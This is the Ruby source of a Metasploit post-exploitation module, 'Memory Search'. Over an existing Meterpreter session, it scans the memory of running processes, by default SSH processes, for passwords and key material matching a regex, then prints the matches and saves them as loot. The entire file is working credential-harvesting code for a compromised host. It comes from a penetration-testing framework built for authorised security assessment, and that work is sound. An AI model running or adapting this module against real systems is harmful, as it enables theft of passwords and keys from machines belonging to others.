metasploit-framework/modules/post/multi/gather/memory_search.rb

273 lines
9.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Memory Search',
'Description' => %q{
This module allows for searching the memory space of running processes for
potentially sensitive data such as passwords.
},
'License' => MSF_LICENSE,
'Author' => %w[sjanusz-r7],
'SessionTypes' => %w[meterpreter],
'Platform' => %w[linux unix osx windows],
'Arch' => [ARCH_X86, ARCH_X64],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_memory_search
stdapi_sys_process_get_processes
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)
register_options(
[
::Msf::OptString.new('PROCESS_NAMES_GLOB', [false, 'Glob used to target processes', 'ssh*']),
::Msf::OptString.new('PROCESS_IDS', [false, 'Comma delimited process ID/IDs to search through']),
::Msf::OptString.new('REGEX', [true, 'Regular expression to search for within memory', 'publickey,password.*']),
::Msf::OptInt.new('MIN_MATCH_LEN', [true, 'The minimum number of bytes to match', 5]),
::Msf::OptInt.new('MAX_MATCH_LEN', [true, 'The maximum number of bytes to match', 127]),
::Msf::OptBool.new('REPLACE_NON_PRINTABLE_BYTES', [false, 'Replace non-printable bytes with "."', true]),
::Msf::OptBool.new('SAVE_LOOT', [false, 'Save the memory matches to loot', true])
]
)
end
def process_names_glob
datastore['PROCESS_NAMES_GLOB']
end
def process_ids
datastore['PROCESS_IDS']
end
def regex
datastore['REGEX']
end
def min_match_len
datastore['MIN_MATCH_LEN']
end
def max_match_len
datastore['MAX_MATCH_LEN']
end
def replace_non_printable_bytes?
datastore['REPLACE_NON_PRINTABLE_BYTES']
end
def save_loot?
datastore['SAVE_LOOT']
end
ARCH_MAP =
{
'i686' => ARCH_X86,
'x86' => ARCH_X86,
'x64' => ARCH_X64,
'x86_64' => ARCH_X64
}.freeze
def get_target_processes
raw_target_pids = process_ids || ''
target_pids = raw_target_pids.split(',').map(&:to_i)
target_processes = []
session_processes = session.sys.process.get_processes
process_table = session_processes.to_table
process_table.columns.unshift 'Matched?'
process_table.colprops.unshift(
{
'Formatters' => [],
'Stylers' => [::Msf::Ui::Console::TablePrint::CustomColorStyler.new('true' => '%grn', 'false' => '%red')],
'ColumnStylers' => []
}
)
process_table.sort_index += 1
session_processes.each.with_index do |session_process, index|
pid, _ppid, name, _path, _session, _user, _arch = *session_process.values
if target_pids.include?(pid) || ::File.fnmatch(process_names_glob || '', name, ::File::FNM_EXTGLOB)
target_processes.append session_process
process_table.rows[index].unshift 'true'
else
process_table.rows[index].unshift 'false'
end
end
vprint_status(process_table.to_s)
target_processes
end
def run_against_multiple_processes(processes: [])
results = []
processes.each do |process|
response = nil
status = nil
begin
response = session.sys.process.memory_search(
pid: process['pid'],
needles: [regex],
min_match_length: min_match_len,
max_match_length: max_match_len
)
status = :success
rescue ::Rex::Post::Meterpreter::RequestError => e
response = e
status = :failure
end
results.append({ process: process, status: status, response: response })
end
results
end
def print_result(result: nil)
return unless result
process_info = "#{result[:process]['name']} (pid: #{result[:process]['pid']})"
unless result[:status] == :success
warning_message = "Memory search request for #{process_info} failed. Return code: #{result[:response]}"
if result[:process]['arch'].empty? || result[:process]['path'].empty?
warning_message << "\n Potential reasons:"
warning_message << "\n\tInsufficient permissions."
end
print_warning warning_message
return
end
result_group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
if result_group_tlvs.empty?
match_not_found_msg = "No regular expression matches were found in memory for #{process_info}."
normalised_process_arch = ARCH_MAP[result[:process]['arch']] || result[:process]['arch']
potential_failure_reasons = []
if session.arch != normalised_process_arch
potential_failure_reasons.append "Architecture mismatch (session: #{session.arch}) (process: #{normalised_process_arch})"
end
if potential_failure_reasons.any?
match_not_found_msg << "\n Potential reasons:"
potential_failure_reasons.each { |potential_reason| match_not_found_msg << "\n\t#{potential_reason}" }
end
print_status match_not_found_msg
return
end
results_table = ::Rex::Text::Table.new(
'Header' => "Memory Matches for #{process_info}",
'Indent' => 1,
'Columns' => ['Match Address', 'Match Length', 'Match Buffer', 'Memory Region Start', 'Memory Region Size']
)
address_length = session.native_arch == ARCH_X64 ? 16 : 8
result_group_tlvs.each do |result_group_tlv|
match_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR).value.to_s(16).upcase
match_buffer = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR).value
# Mettle doesn't return this TLV. We can get the match length from the buffer instead.
match_length = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_LEN)&.value
match_length ||= match_buffer.bytesize
region_start_address = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR).value.to_s(16).upcase
region_start_size = result_group_tlv.get_tlv(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN).value.to_s(16).upcase
if replace_non_printable_bytes?
match_buffer = match_buffer.bytes.map { |byte| /[[:print:]]/.match?(byte.chr) ? byte.chr : '.' }.join
end
results_table << [
"0x#{match_address.rjust(address_length, '0')}",
match_length,
match_buffer.inspect,
"0x#{region_start_address.rjust(address_length, '0')}",
"0x#{region_start_size.rjust(address_length, '0')}"
]
end
print_status results_table.to_s
end
def save_loot(results: [])
return if results.empty?
# Each result has a single response, which contains zero or more group tlv's.
results.each do |result|
# We don't want to save results that failed
next unless result[:status] == :success
group_tlvs = result[:response].get_tlvs(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS)
next if group_tlvs.empty?
group_tlvs.each do |group_tlv|
match = group_tlv.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)
next unless match
stored_loot = store_loot(
'memory.dmp',
'bin',
session,
match,
"memory_search_#{result[:process]['name']}.bin",
'Process Raw Memory Buffer'
)
vprint_good("Loot stored to: #{stored_loot}")
end
end
end
def run
if session.type != 'meterpreter'
print_error 'Only Meterpreter sessions are supported by this post module'
return
end
if process_ids && !process_ids.match?(/^(\s*\d(\s*,\s*\d+\s*)*)*$/)
print_error 'PROCESS_IDS is not a comma-separated list of integers'
return
end
print_status "Running module against - #{session.info} (#{session.session_host}). This might take a few seconds..."
print_status 'Getting target processes...'
target_processes = get_target_processes
if target_processes.empty?
print_warning 'No target processes found.'
return
end
target_processes_message = "Running against the following processes:\n"
target_processes.each do |target_process|
target_processes_message << "\t#{target_process['name']} (pid: #{target_process['pid']})\n"
end
print_status target_processes_message
processes_results = run_against_multiple_processes(processes: target_processes)
processes_results.each { |process_result| print_result(result: process_result) }
save_loot(results: processes_results) if save_loot?
end
end